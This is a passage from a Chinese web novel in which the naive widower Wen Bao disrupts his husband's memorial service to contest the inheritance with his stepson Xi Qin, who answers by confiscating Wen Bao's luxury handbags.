他可不是好高骛远,不切实际,他手上可是握着关于席秦致命的把柄。
———
时间回到三天前,温宝正焦头烂额地准备席闻鹤的追悼会。
他很年轻,办一件事就要问一下方管家,花钱也扣扣搜搜的,这几天哭了三次,一次因为他的闻鹤哥,两次因为他手头流出去的钱。
总归磕磕绊绊办好,还没在席秦面前炫耀扬眉吐气一番,松松精气神,张亨通的电话就抢先一步来了,带了一个惊天大消息,再次将温宝的精神吊得紧绷起来。
“……什么,你说席秦不是我老公的亲生儿子?”
“你声音小点,别让别人听见了。”张亨通在另一边也压低了声音,差点也让温宝听不到了,“十有八九是,你想啊,席总十六岁有了席秦这可不可能,他是这种人吗?”
“不是!”温宝斩钉截铁,这不仅是年龄的问题,更重要的是,闻鹤哥这么好的人怎么可能生的出来席秦这种坏人!
看来真不是亲生的啦。
张亨通还没把自己调查的东西说出来,温宝就靠偏见信了八分。
“我还查到伺候过席秦母亲廖小姐的一个佣人,她说,多年前廖小姐孕期,席总一次都没有去看过,更重要的是,那之前廖小姐好像有恋人,但不是席总,席廖两家联姻的时候,席总和廖小姐都不大情愿……”张亨通把自己查到的事添油加醋说出来。
实际上人家佣人原话要模棱两可的多,不过在张亨通这里五分可能变成了七分。
他想的很明白,如果席秦不是席闻鹤的亲生儿子,那席总就是被蒙骗了,席秦和温宝争家产就要弱势很多,到时候席家的资产都到了温宝手上,他作为温宝的恩人,好处更是多多,他得帮助温宝抢占遗产。
如果是,那就当误会了,温宝还是有一份遗产在手,稳赚不赔的生意。
温宝那边听明白了,张亨通的七分可能在温宝这里彻底变成了十分,他大惊:“那,那闻鹤哥到死都不知道呢,他怎么这么可怜……我要烧纸给闻鹤哥让他知道。”
温宝说着为他早死的丈夫哀伤起来,他就说席秦那么讨人厌,怎么可能是席闻鹤的儿子。
张亨通在另一头恨铁不成钢:“现在重要的是这个吗?你得想啊,席秦都不是席总的孩子,那他拿到席总的遗产,不更是……”
温宝心神一惊,捏着手机的手一下就紧了,他看了眼忙碌的管家佣人,走到暗处:“你说的对哦……席秦不是闻鹤哥的儿子,那他……”
“那他就不能继承遗产!”张亨通说的很重,锤子一样砸在温宝的心里,把一块不成型的愚钝的铁,按照自己的心意哐哐啷啷砸出形状来。
“咱们得阻止,得去争,不然他一个外人得了遗产,你怎么办?那就要挤兑你了,本来你和席总结婚时间也短,届时分起家产不占优势!”
“你……说的……对……”温宝声音很缓,大脑都变得迟钝了,张亨通说的是一件天大的事,对于脑容量不太够的温宝有些过载了。
他想起对他很好的席闻鹤,又想起自己,温宝那与生俱来的趋吉避凶的本能,让他浑身的血都沸腾起来。
“……对,我们见一面细谈……”
平凡的一天,温宝和张亨通决定了一件对他们而言的大事。
漂亮的没头脑和不漂亮的没头脑凑在一起,想出个追悼会上揭穿身份,抢夺遗产的戏码。
———
时间回到现在。
听见温宝叫他的声音,李律师老实的脸轻微扯了一下,抱着公文包站出来,不知道是不是被平坦的地毯绊了一下,李律师腿一抖,走了个踉跄。
这时众人才看见这个穿的像买保险的中年男人,原来是个律师,当即意识到这位温先生竟是认真的。
议论声越来越大。
温宝很得意于这种骚乱,他斜了一眼律师,李律师浑身冒汗,手拿着公文包,包的拉链和硬邦邦的皮面不停磕碰在一起,好半天也不见这律师说话。
怎么一个两个都这么没用,温宝只感觉心累。
“我是席闻鹤的法定伴侣,我有资格继承他的遗产……嗯,席秦他根本不是闻鹤……”温宝一脸盛气凌人,想说出什么有文化的话,但说了几句就词穷了,磕巴着,还未说完,一双大手,按在他的头顶,往后一转,温宝就不受控制,不得已转了个圈,面对席秦。
“你干嘛!”
“我小爸开玩笑呢。”席秦压根不理温宝,手跟拄拐杖一样搭在温宝头顶,从温宝的角度,能看见他清晰的下颌骨还有凸起的喉结。
席秦喉结动了动,笑了,眼底的风暴一息收拢,很有席氏人皮笑肉不笑的风范,很利落地阻断了温宝掀起的骚乱:“诸位该走了,我们自家处理些事。”
几位席闻鹤的好友闻此便不多待,起身要走,席闻鹤的太太他们不多见过,儿子倒是清楚,是个聪明人,站在谁那边显而易见,再者说,席闻鹤究竟死了没有还是疑事,他们心里对席家的事明镜似的,若是温先生是个有些聪明的人,那该蛰伏一段时间摸清席秦底细再出手。
现在看来显然不是,只不过如今看温宝的举止倒和好友席闻鹤说的大相径庭。
“他很听话,又胆小,不喜欢这种场合。”
“他很爱我,爱吃醋……”
这几个席闻鹤好友心里齐刷刷闪过几句席闻鹤对温宝的夸赞,不由得笑出声,打量了席闻鹤金屋藏娇的“宝贝”几眼,便打算离开。
温宝斜着眼看他们,他苦心孤诣准备的和席秦宣战的场景全被席秦打乱了。
温宝一手挥开席秦罩在头顶的手,看了眼稀稀拉拉站起来准备离场的人大声道:“都不准走!”
但没人听他的,几个停下来,看了眼黑沉着眼的席秦和一脸怒意的温宝,一看就知道谁是主事人,脚就不再停下。
“都不许……唔…鼠开我……竹一点痘不礼貌……西芹!”温宝又被人转着脑袋转回去,一双大手按在他后脑勺,不顾温宝的挣扎,直接按在怀里,堵住了人的嘴。
“诸位,席秦就不多留了,叔叔伯伯,改天上门赔罪……”席秦的声音在胸腔里响起,音色变得很沉很闷,吵的温宝一肚子火。
温宝好不容易聚起来这么多人,可以当众宣布,自然不依,拼命挣扎,可把手都抡成了风火轮,手臂鞭子一样抽打在席秦身上噼里啪啦的,席秦都不松手。
温宝气得不行,他叫来的律师和张亨通到底干什么吃的,席秦已经在“限制”他的人身自由了,怎么还不过来帮忙。
“既然温先生对遗产分配有异议,那就摊开说说好了。”来人风度翩翩,气度出众,年龄大概在四十多岁,温文尔雅的一副面貌,眼角有些细纹,也丝毫不损风度。
这人是席秦的叔叔,席卓济,说是席家的养子,但也有传闻说,席卓济是席闻鹤父亲的私生子。
约莫是真的,因为席卓济确与席闻鹤有几分相似。
席卓济说话有几分分量,几个心思活络的高层脚步跟着慢慢停下来,席秦听见席卓济的声音,面色冷下来,眼珠微转看向那些公司高层,一句话也没说,他们便不再停留,干脆利落离开。
整个大厅里零零散散只剩下几个席家的人。
席秦回头还是那副疏离矜贵的样子:“济叔,你怎么来了?”
席卓济笑了笑,眼角的鱼尾纹更深:“席总走了,我怎么样也得来看看。”他转而看向被按在席秦怀里不断扑腾的温宝温声道:“小秦松开温先生吧,这样可不太合规矩。”
儿子紧紧搂着年轻小爸不松手的,哪有这种事。
温宝往席秦腹部来了两肘,挣扎着出来气喘吁吁,发丝也乱了,气都没喘匀,就急着翻席秦白眼说话:“就是就是。”
他脸上带了些红晕,像个染了薄红釉的白瓷瓶。
很美的一张脸,面带怒容,便是美人嗔怒了。
就是人笨了点。
温宝上下打量一下这个他不太熟悉的席卓济,看在这个老男人为他说话的份上,没有翻他白眼,转而立刻问罪席秦:“你少害我了,就是故意堵我的嘴,好把所有遗产全都带走是不是!”
席秦没说话,席卓济笑了笑,充当起老好人:“哎,温先生别这么说,小秦他怎么可能会这么做,温先生您再怎么说也是席总的爱人呐,这遗产席秦怎么会全拿走呢,只是公司啊,您可能就……席秦这几日总在公司忙,约莫都是席总安排
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的吧。”
席卓济说着,温宝脸上怒色更重,席秦站在一边跟个外人似的,温宝真是弄出好一出大戏,真真是给了席秦一个大惊喜,亏得席秦还以为温宝这些日子老老实实在忙事情,原来心里早就打算搞事情了。
席卓济突然又为席秦说话了,温宝很生气,这些老男人说话没几次他能听懂的,先是为他说话,之后为席秦说话,这不是背刺又是什么,又一个墙头草两面派,温宝冷哼一声,很看不起这种人:“我就知道你们是一伙儿的,少在我面前当好人,席秦是儿子拿不到钱,你是闻鹤哥的假兄弟也拿不到钱!”
钱全是他的,席秦不是闻鹤哥亲生的,席卓济是闻鹤哥父亲的养子。
他们全都没有资格分席家的家产,温宝一定要牢牢守住!
席卓济一愣,大概是被温宝的脑回路惊到,继而一笑,耸了耸肩,很有风度:“可能吧。”
随即微微退后,很有认输的样子。
席秦好整以暇地看着席卓济这种老狐狸在温宝面前溃不成军,但看戏没看多久,火很快烧在他身上。
“你也别太高兴,闻鹤哥的所有东西我都不会让一分的!律师!律师!”温宝又开始叫他那个像卖保险的律师了,看都不看手就往旁边一摊。
李律师挺尸一样从角落里战战兢兢地跃出来,从公文包里掏出个小册子交到温宝手上。
温宝拿到打开,小册子挡着脸之露出一点细白的下巴,封面朝向席秦,上书几个大字“破除谣言,浅谈继承法”。
法律知识宣传册,大概是温宝从律所里面拿出来的。
温宝对着上面念,表情坚定,很有用法律武器捍卫自身权益的正义感:“第一千零六十一条夫妻有相互继承遗产的权利……第一千一百二十七条,遗产按照下列顺序继承,第一顺序,配偶!”
席秦原本还气定神闲地看着温宝作妖,听着听着觉得不对,凑到温宝脸侧,指着温宝端正拿着的小册子说:“你忘记读这里了,第一顺序,配偶,子女……”
“什么?哪里,在哪里!我怎么没看到!你少瞎说!”温宝睁眼说瞎话,看着跟在“配偶”后面“子女”两个大字装没看见,一边大叫着一边立刻合上手册,重重地把席秦的手指夹进去。
随后凶狠地看着席秦,使劲按着手册,好在也不疼,席秦笑着看他,不知道这人脑子里一天天的哪里来的奇思妙想。
单薄的一个人怎么敢和这么多人叫板,难道他不知道他自己根本是在孤军奋战,整个厅子里,谁会和他站在一块。
席秦手指一勾硬是把手册勾走了:“你就拿这个来跟我争家产?”
“当然不是,我只是给你普法,你个法盲!”温宝冷冷一笑,冲着李律师抬抬下巴,让李律师为他出征,但大概是李律师近视度数太高,温宝下巴都戳出去三米远了,李律师还是没看到。
怎么都这么没有用,张亨通单说的好听,实际早早就跑了,没一个能像温宝这样有魄力,温宝气得不行。
整个大厅里只有温宝一人发力,大吵大闹,上演一出伦理大戏。
席秦按了按额角,直觉真是一个烫手山芋,亏得他特意腾出时间特意过来,席卓济还在旁边,他无心和温宝继续闹腾,手册扔到一边,抬抬手让管家把“伤心欲绝”到胡言乱语的温宝带到楼上。
看着管家犹豫着走过来,搀住他,温宝心一突,不敢相信席秦真的敢限制他的人身自由,:“我就是过来通知你!尽早放弃,你无权继承闻鹤哥的遗产,你等着吧,等我给你好果子吃!”
温宝本来还要再闹,可也不知怎得,他眼珠子一转,心里冒出什么鬼主意,任由管家把他带走,没有拿出他的重量级武器。
席秦转头看向席卓济:“济叔看戏看够了吧,他蠢的很,恐怕当不成某些人手里的枪。”言语间对温宝还有些回护之意。
他这个小爸都堂而皇之地出来争遗产了,把席秦的面子往地上踩,席秦怎么一点都不生气呢……啊,有秘密。席卓济无言微笑,心里琢磨的东西谁都不知道,不再多留,随即离开。
追悼会没办多久,就七零八落地结束了,席秦在楼下黑着脸,盯着楼上恨不得上去把温宝放进嘴里嚼上一嚼才解恨。
楼上的温宝坐在小客厅里,慢慢喘气,平静下来。
他静下来,很像一棵静雅的兰草,身姿绰约,气质出众,一副聪明相。
黑黝黝的眼睛倒映在远处电视机黑色屏幕上,看起来像是没有眼白,深黑幽暗,有些渗人。
许久温宝轻轻勾起嘴角,别人都以为温宝是个笨蛋,其实他才不是。
5. 想上班的温宝
很好,温宝今天做的很好,虽然张亨通一到关键时刻就怂,李律师也是没见过什么大世面,但一切都在温宝掌握之内,温宝现在被肾上腺素支配,只感觉自己勇猛无匹,刚才发挥的完美无缺。
现在的席秦一定觉得温宝是个大笨蛋,根本不会把他放在眼里,然后轻视他,可席秦万万不会想到,这恰恰进了温宝的陷阱。
温宝实际上掌握着席秦不是席闻鹤亲生儿子这个“核武器”,等席秦对温宝掉以轻心,温宝就一跃而起,给席秦重重一击!
就是这个打算!温宝恨不得给自己竖个大拇指。
不止,温宝心里有一把算盘,此时正噼里啪啦地打的正响,张亨通带来的消息太模糊,没有确凿证据,温宝必须花时间拿到席秦和席闻鹤没有亲子关系的证明,如此证据在手,剩下的还不都是温宝全盘掌控。
张亨通也是笨,他手里什么证据都没有,还想着过来利用温宝分一杯羹,温宝才不会让他如愿。
温宝顶多看在张亨通是他和席闻鹤媒人的份上,给他几千万算完!
至于席卓济,虽然温宝现在没看出来什么,但是根据温宝多年来看电视剧的经验,这种人就是那种笑面虎,也是坏蛋,呵,他是闻鹤哥父亲的私生子,怎么可能没有野心。
温宝也得防着他,当然他也会是温宝手里的一把好刀,席卓济知道席秦不是闻鹤哥亲生的这事吗?
或许温宝需要向席卓济透露一下,最好让他们狗咬狗,最后温宝便作为第一顺位人,来个渔翁得利!
妙计!世界上还有温宝这么聪明的人吗!
温宝沉浸在自己的完美计划里无法自拔,又怕自己脑子不好使,把计划忘掉,赶紧翻出来自己的日记,一步一步全都写上去。
日记本还是带密码锁的呢,最是安全。
正奋笔疾书时,温宝紧锁的门外突然传来叩门声。
“开门,我们谈谈。”是席秦的声音。
是来兴师问罪的,温宝一个激灵,很心虚地从日记本上抬起头。
而屋外的席秦就听着原本安静的屋内,在他叩门出声后,突然传出来那种翻箱倒柜,光脚咚咚咚跑来跑去的声音,好一场兵荒马乱,光听声音就心虚的很。
席秦皱紧眉毛:“你在干什么?”这是在拆家吗?
“谁呀!谁干什么了?我一直老老实实的……哎呦!”温宝一边叫一边靠近,随着一声哎呦,屋内又是咚咚铛铛传来人体摔在地上的闷响声。
温宝一边嘶哈揉着膝盖起身,一边表明自己的忠贞:“我这段时间为闻鹤哥伤心死了,你有良心就不要过来打搅我。”
席秦:“你摔倒了?开门。”
温宝:“这是我家我凭什么给你开门,有事说事!”
席秦颇为无语,一副你厉害的表情点点头,点完才意识到温宝看不到,干脆抱臂靠在墙面上,隔着一道门跟温宝说话:“哦?你这么爱席闻鹤,那他刚死你就急着大闹,不怕他变成鬼来找你。”
变成鬼?这都是假的,就算变成鬼,温宝也没什么对不起他老公的呀,无非是争家产显得温宝很势利虚荣,可是这都是为了闻鹤哥呀,他是为了闻鹤哥的财产。
不知道这些想法温宝信了没有,总之他打了个激灵,感觉后背都有些发凉,他连声反驳:“我老公就算变成鬼了,也是好鬼老公,你管的着嘛。”
他声音很大,自己给自己鼓劲,说着说着冷哼一声:“你要是闻鹤哥的好儿子,那就把遗产都给我啊,我可是你继父,你还不好好孝顺我!”
温宝把这一席话说的嚣张又欠揍,全仗着一张门隔开了他和席秦,席秦还比温宝大两岁,却被温宝要求孝顺他,一时间席秦不知道是该怪温宝牙尖嘴利,还是怪席闻鹤找了个不懂事的年轻娇妻。
话音一落,门外静了片刻,随后门把手晃动起来:“开门,咱们两个见面谈。”
笑话,放你进来让你打我吗,温宝又不傻!他在里面叫着:“方伯!方伯!把席秦赶出去,这是我家!”
站在席秦旁边许久的老管家看了看紧闭的门,又看了看席秦,沉默一会儿伸手做了请人离开的手势。
席秦一晒,暂时妥协:“你这段时间就在家里老实待着,我没空管你,席卓济那个人心狠手辣,别和他见面,遗产的事我就当没听到,你以后也不准再提。”
席秦说着还挺冷静,好像遗产不是跟他争的一样,跟温宝交代了几句,在温宝再次出声请人离开前自己离开了。
算席秦有眼色,都不用温宝吩咐人把他丢出去,自己就灰溜溜走了。
事情告一段落,温宝打电话让李律师先回去,让他做好准备,再等通知。
至于张亨通,温宝则会强烈谴责他的临阵脱逃。
席秦等着吧,温宝是不会放弃的。
*
席秦出来,看不出什么多余过激的情绪,好像温宝那一闹在他意料之中似的,助理亦步亦趋跟在他后面,观察着他的神色,琢磨着什么时候提醒老板下一行程。
不过不用他没话找话,席秦率先吩咐:“找几个人看着他,联系了什么人,做了什么事随时汇报给我。”
助理:“明白。”
温宝堂而皇之地跟席秦争遗产的事很快就在圈子里传遍了。
争遗产不算少见,但这么张扬的却是稀罕,只差摆个擂台和继子对打了。
一个没什么背景无依无靠的男人,从哪里来的胆量和席氏那群豺狼虎豹斗。
身处漩涡中心的温宝当然不知晓旁人对他评价,温宝宅在家里几天,宣布彻底治愈“心伤”后,就再次出来活动。
拒绝过一波又一波叫他出去打麻将的富太太们的邀请,温宝穿金戴银,全副武装,气势汹汹地跑到席氏公司里。
公司在席闻鹤死后,便暂时由席秦做主,这对温宝可是大大的不妙。
他在公司里什么职务都没有,席闻鹤活着的时候,他一直都是安心当全职太太的,现在席闻鹤死了,席秦把控着这里,等之后温宝和席秦争,怎么会争的过。
所以温宝一定要争取……
“席秦呢?”
一阵轻盈的香气迎上来,温宝提着他的奢侈品包包,戴着一条细碎蓝钻锁骨链,蓝钻不同角度折射出不同光,他的锁骨精巧,皮肤光洁瓷白,也亮晶晶的,不知是人衬宝石,还是宝石衬人,总之如出一辙的精致华丽。
温宝随机推开一间办公室,巴掌大的小脸上带着墨镜,看都不看人,抬脸就问席秦的下落。
可是里面的职员哪里知道,只认出来这人是席闻鹤的漂亮小妻子,剩余只是冲着温宝摇摇头。
温宝什么也没问出来,哼一声关门就走,看人眼睛不是眼睛鼻子
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不是鼻子的,能有多傲慢自大就有多傲慢自大。
“席总他夫人看起来这么趾高气扬的。”
“确实,和席总脾性不太相合,不过真好看。”
“是啊,真漂亮,神仙似的。”
随着门关上,他们的窃窃私语也彻底不见了,傲慢的温宝也在他们视野中消失。
而他们不知道的是,原本仰着脸跟个布偶猫一样高傲的温宝,在门合上之后赶紧小碎步走到角落里,红着脸蛋拍拍自己胸膛舒舒气,又拿出镜子看自己的打扮着装,确保很像一个有内涵又有脾气的有钱人后,才稍微放松一些。
他唯恐自己露怯,在这里工作的员工听说都是那些名牌大学毕业的,那得多聪明啊,在大脑贫瘠的温宝看来,这些人和他大概是两种生物,放在从前,是温宝仰望再仰望的人。
不过温宝现在也是有钱人,是席闻鹤的“妻子”,他时刻都记得维护自己的身份特质。
收拾好自己,温宝又抬着脑袋往下一个目的地去。
席总妻子来公司的事传的很快,温宝没走几步就被席卓济的人拦住了。
席卓济和席秦都不在公司,接待温宝的人是席卓济儿子席漳,问温宝需要什么。
温宝往真皮沙发上一坐,就开始提要求:“我要入职,给我安排一份工作!”
席漳:“啊,您要在这里工作?”他原以为温宝这个人蠢好糊弄,在父亲提出要拉拢温宝给温宝好处之后,席漳就主动揽下这个任务,没想到温宝不仅蠢还毫无自我认知。
他可是记得这个“叔母”没什么学历,让那个叫什么张亨通的运作过一段时间,包装成一个“名媛”,推到了席闻鹤身边。
现在这个温宝竟然要求要入职工作?
他没听错吧。
温宝扒了扒墨镜,从镜框上面看人,眉眼精致,盛气凌人:“是啊,怎么了,我是闻鹤哥的妻子,我连一个工作都找不到吗?”
“可……”
“你别可不可的,就说能不能。”温宝仰着脸,声音越来越大,像是要用音量来掩盖自己无理取闹的事实。
一份工作这有什么,席漳正要说能,就又见温宝眼珠子左撇右撇,很有主意:“席秦是什么职位,你就给我安排什么,多的我也不要。”
席漳:……
席漳嘴角抽了抽,把话都吞了下去。
没用,没用,看来公司是让席秦全都把控住了,温宝一脸深沉,终是不忿吵着闹着要席秦回来见他,给他个职务。
就是那种可以跟席秦打擂台,有实权的职位。
温宝想的很美,可惜他到来的事大概很快就被人报给了席秦,很快席卓济的儿子席漳被叫走,走之前还不断对着温宝使眼色,眼睛跟抽筋儿似的,温宝没给他好眼色更没看懂暗示,回了他一个白眼,而代替他的是以前闻鹤哥手下的一个秘书。
他们还算熟稔,加之这人是闻鹤哥的手下,温宝自然不会像对席漳一样对她。于是温宝稍微放下自己高抬的下巴,跟着这个年纪比他大一点的女人,听女人给他介绍这个介绍那个。
但始终没答应给温宝安排工作的事。
温宝本来还想着闻鹤哥的手下为什么要帮席秦阻拦他,但很快,他就忘记了自己到来的初衷,傻乐乐地被哄得晕头转向,最后装着一兜子零食辣条,回家乖乖等席秦回去。
6. 痛失包包的温宝
“所以你的意思是说,席秦不是你老公的亲生儿子……哎,这只鸡是我的,是我的!”
电话那边声音吵闹,温宝隔着手机都能看到飞扬的鸡毛,闻到鸡受惊之后满地拉的鸡屎味,温宝隔着手机捏住鼻子。
对面的人是他的好友,是温宝变成有钱人之后认识的,名叫仇顺发,开了家侦探事务所,大概正在忙着帮人捉鸡,因此对于温宝说出的重量级消息并没有什么反应。
仇顺发把捆好翅膀的鸡塞进雇主的金笼子里道:“这传闻你从哪里听来的,靠谱吗,你别把娱乐八卦当真了,这些媒体就爱八卦编造一些豪门恩怨,我和我姐还被说不是我爸的亲生孩子呢,我们仨都快长一模一样了!”
温宝隔着电话支支吾吾的:“从哪里来的你别管,反正这事绝对是真的。”
“行行行。”仇顺发招呼着送雇主回去,拿尾款,又不忘和温宝说话:“那你准备怎么办?真打算和席秦作对?”
这语气听起来似乎很不相信温宝,就像是温宝智商要比席秦低一点一样,温宝开始不满了:“当然了,你可别小瞧我,我在家里还有公司特意闹了两次,现在别人肯定以为我很没脑子很笨呢,只能看到眼前的利益,可他们万万想不到实际上我将派你在私底下悄悄调查席秦,找到他的漏洞,将他一举拿下!”
温宝说着开始得意于自己完美的安排,闹是一定要闹的,调查也是一定要调查的,温宝就是要这样明暗双线进行,都占尽便宜。
仇顺发一顿,不可思议:“我?我去调查席秦?”
“对啊,你!”温宝理所当然,“你是侦探哎,你肯定会帮我调查席秦的对吧,这事你要是做成了,之后岂不是要名声大噪?”
“我……你说的有道理。”仇顺发反驳的话刚到嗓子眼,就开始动摇了,他开侦探事务所的初衷不就是要当破案的名侦探吗,虽然调查这些八卦也不是他的终极理想,可总比找掉进马桶的鱼,在菜市场走丢的鸡要好。
不过仇顺发还是有疑惑:“你就在席家,你调查不是更方便。”
绝对算的上近水楼台先得月了,毕竟席氏的秘辛,当然是席氏的人更清楚。
说到此处,温宝更显犹疑:“我也这样想,不过我总觉得最近毛毛的,好像有人盯着我似的,我不敢。”说着温宝疑神疑鬼地打量起屋子,包括不远处温宝放在书房里席闻鹤遗像。
照片还是温宝选的,穿着西装,带着温宝同款的钻石耳钉,看上去很年轻,带着不同于温宝认知中的强烈攻击性,男人朝前看,目光沉沉,格外的……鲜活。
直觉——这是温宝与生俱来的天赋,往往帮他躲避掉不少危险,温宝抖了一下,连忙钻进被窝里继续和仇顺发说话。
仇顺发最终在温宝的再三恳求下接下了这一单,温宝在钱上很吝啬,连对自己的朋友都还是趁事务所新店开业没多久,打了九五折才付钱雇人。
好在仇顺发家庭条件不错,也不在乎这个。
温宝知道他在公司闹了一出,席秦一定会知道的,于是在家里等着席秦上门问责。
温宝相信自己胡搅蛮缠的本事,现在席秦这么忙,一定懒得管他,只要温宝坚持,就一定能在公司里得到一份不错的职位。
温宝知道席秦回来,但没想到来的如此迅速,上午他才去过公司,下午席秦就带人来了。
温宝通过监控看到了地下车库里,席秦停好车,坐电梯上来,正惊讶着从沙发上滚下来,收拾自己,穿的体面奢华一点,电梯叮一响,人就到了这一层。
席秦面无表情走进来,后面跟了几个五大三粗的黑衣壮汉,就像电影里的帮派打手。
温宝穿着宽松衬衫,下身简单一条短裤,赤脚踩在地毯上。
看着席秦一步步走近,打量着屋子,温宝一跳率先发难,一脸嚣张跋扈:“你怎么来了……你,你为什么进屋子不换鞋!”
席秦的脚步一顿,低头看了看鞋子,又看了看地上毛茸茸的地毯,没什么表情抬头:“之后全屋地毯我会赔偿。”
“把你们能看到的关于我小爸的东西都拿走。”
“东西,什么东西?”温宝大惊失色,急忙忙跑过来,手脚并用不自量力地去拿自己的细胳膊细腿挡那些壮汉的路。
但温宝站在一群大块头中间,蹦跶着跳着没拦到一个人,男人们在前面走,他脚尖追脚跟紧紧跟在后面大叫:“干什么!干什么!你们要干什么!”
但男人们根本不停,像是早就熟悉了屋子格局,没多久就消失在房子里,温宝像老鹰抓小鸡一样一个也抓不到。
温宝真的要控制不住地哭泣了,他还以为席秦顶多是给他玩心机手段,弄出些下药车祸什么的,没想到席秦竟是要直接把他赶出去!
怎么这么坏,老公刚死,席秦就敢这么对他!
这下是真的玩脱了,席秦怎么一点耐心都没有呀,按照电视剧小说上所说的,席秦这种继子要么不把他放在眼里,压根不搭理温宝,要么认为温宝心机深沉是在扮猪吃老虎,会按兵不动。
可如今却和温宝预想的一点都不一样。
“你干什么!你没有权利把我赶出去,这是我家!”温宝身体在席秦面前一耸一耸地,恨不得拿脑门撞在席秦下巴上,就像是某种不太有自知之明的小狗,刚到家就在主人腿脚边上一跳一跳地要抓主人的手,但往往人一推,短手短脚的小狗就一个翻滚趴在地上了。
席秦一手按在温宝前额,大手放上去才惊觉温宝的脸非常小,几乎被正常手盖住,隐约露出一点嘴唇。席秦手上微微使劲儿就把努力掂着脚尖根本站不稳的温宝老老实实地按在地上。
双脚全都接触地面,温宝又回归了他原本的身高。
他抬起脸紧皱着眉,一张白净好看的脸带出一点嗔怒的意味,就像一株兰草染上凛冽的寒意,看着是很唬人的。
“我告诉你,你赶我走是一点道理都没有的!你想都不要想!你这样做小心别人戳你脊梁骨。”温宝绞尽脑汁说出些吓唬席秦的话。
戳脊梁骨,只有好面子爱体面的人才会在意这个,席秦早就没脸没皮了。
但不知出于什么原因,席秦看了眼温宝一起一伏的胸脯,解释:“谁要赶你走!”
随机他看向温宝放在桌子上,甚至舍不得放回衣帽间的一只包包,在温宝眼神落过去之前,长臂一伸,就勾了过来。
“你闹一次我就拿走你几件宝贝,直到你一件奢侈品都没有,看到时候多少富太太会笑话你。”这个威胁同样幼稚,但对于温宝竟有奇用,他是个好脸面的,越有钱越好脸面。
温宝眼睛唰地瞪大了,他大叫道:“你这样很坏知不知道!我不许你动它!不许!不许!”
他叫着看着包包离自己越来越远,眼泪一下子就盈满了眼眶,那张美人嗔怒的表情很快消退下去,紧接着浮现出可怜巴巴和委屈。
温宝哭得梨花带雨,泪水花瓣一样拂过脸颊,但两只手高高地举起,要去抢席秦怀里的奢侈品包包。
席秦一时犯贱,手一举高,温宝只能贴着席秦蹦跶着去够。
“不要,求求你不要把我的包包拿走!”温宝抓不到,嚣张的气焰很快就因为自己限量版奢侈品包包败落下去,甚至不止,温宝温余光里瞥见那几个大汉手里各拿了一款包,当下身躯一抖,立刻低三下四恳求席秦,他大概是经常在席闻鹤面前这样撒娇卖痴,连带着对席秦都不由自主带上这种习惯。
双手捏住席秦袖口一点点布料,两只脚并在一起,身子微微向前探,用一个身处低位的姿态仰望着。
席秦低头看着他,他似乎跨过时间和空间,很快就get了面对这个姿态的温宝时席闻鹤的想法。
怪不得会心软,会宠溺这个笨蛋温宝到无有不应的程度。
连现在这种情形,温宝在席家又吵又闹,他都不许席秦对温宝做的太过分。
温宝大概不知道他求人的时候的样子。
眼睛很大,但不聚焦,眼里都是水盈盈的泪光,睫毛黏成一缕一缕的,各有想法似的,东倒西歪,席秦甚至疑心温宝眨眼时睫毛会不会戳进眼睛里。
鼻子皱着,嘴角滑稽地往下撇,说话的时候不显,求人的话一溜烟地从嘴里钻出来。
很丑,席秦想,怪不得温宝撒娇这么厉害,本来人就笨,哭起来还丑,是个人都不忍心。
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>席秦冷酷抬脸,提着温宝的衣领,就把快靠在他身上的温宝捋直了。
席秦给了那些“打手”一个眼神,让他们把包放回去,自己只提着温宝最近的心头爱说:“今天我就拿走这个,你再找我的茬,在公司胡闹,下一次我就会多加一个个,如此类推,直到把你从这座宅子里带出去,明白吗。”
这样的结果并没有很好,温宝很难说明白了这样的话,只是梗着脖颈小声叫着反抗:“不要!不要!不要带走我的限量款包包!”
席秦俯视着他,脸色冷下来,压低了声音警告:“想要包就不要闹,还想要要全部财产,挺贪心,公司里的事情你能弄明白吗,知道怎么处理那些倚老卖老的董事吗,席卓济那些人你能料理吗,一张嘴就是全部,温宝啊温宝……”他的声音放得越来越轻,两个人之间的距离越来越近,好似是气息在交流。
席秦轻叹着抬手轻轻拍了拍温宝的脸,盯着那张红艳精致的唇:“席家这么大,你吃的下吗。”
温宝脸垮下去了,他看着包包认栽,虽然不认同,但也只小声嗫嚅着,一张嘴撅着倔强得很:“少吓唬我了,当然能吃的下,我什么都吃的下。”
他自认席秦没有听到,但席秦垂下头,那盯着他的眼神,像两次火苗直直烧在温宝身上,语气也少了先前的压迫感,似乎在暗示什么:“哦,真的?什么都能吃得下?”
温宝的脑袋有一瞬间想歪了,他立刻想问席秦是什么意思,但席秦说这话就像不打算让他回复一样,一个眼神都不给温宝了,席秦拿着包就要走,温宝的注意力又全部放在了包包上,他顺势滑倒地上,伸手抓包带,但太高了,他只能揪着席秦的裤腿,小半截白晃晃的腰都露出来。
温宝鼻子都哭红了,少了一个包就好像少了半条命一样,尖叫着一个劲儿说不要不要,伸出他的尔康手,但并没有阻拦成功。
“席秦你好坏!那可是限量版,全球就发售两百只,你拿走了,我怎么跟别人炫耀!我恨你!我恨你!我才不会听你的呢!”温宝看着席秦远去的背影,立刻丢弃了刚才的可怜弱小,趁着席秦离开连忙放狠话,只需席秦吓唬他,他还不能恐吓席秦吗。
总归要占点便宜。
但没想到,温宝的狠话还没放完,席秦就迈着长腿拐个弯儿回来了,温宝吓得险些魂飞魄散,倒打一个冷嗝,鹌鹑似的老实坐在地上。
席秦:“刚和你说完不要闹,怎么不长记性?”说着冲身后保镖点点头,又从搜出来的包包里拿了一只。
温宝看着,睁大眼睛逐渐坐直了身子。
席秦又说:“总是闹事,你很闲?在家没事做就去多学些东西,长长脑子,嗯?”
温宝被人直白地质疑了智商,质疑他的智商似乎还质疑了他的学历,他不可置信,鼻尖开始发酸,说话都哽咽了大声道:“你说什么啊,我有在上兴趣班呀!”
席秦一愣,随即嗤笑:“兴趣班?你是小学生吗。”
这是赤裸裸地嘲笑,席秦简直坏的出奇了,竟然一点素质都没有,当着温宝的面学历歧视他,哪怕席秦背地里偷偷说呢?
温宝已经不用看人的眼神看席秦了,目瞪口呆的,看着眼前这个非人类。
席秦却跟逗小猫似的,大概温宝这个表情太过滑稽,他捏了一下温宝的鼻尖,来回动了动,还好温宝的鼻子是真的,不至于说歪掉。
席秦戏谑地看他一眼,就像是藏着什么惊天的坏心眼一样,没等温宝反应过来骂他,就施施然提着两只包走了。
走的时候还很嚣张地把包甩在肩上,单手插兜。
耍帅装叉的姿态又引得温宝一阵痛恨,他狠狠擦了擦鼻尖,直觉告诉他席秦要针对他了。
但不知道会是什么。
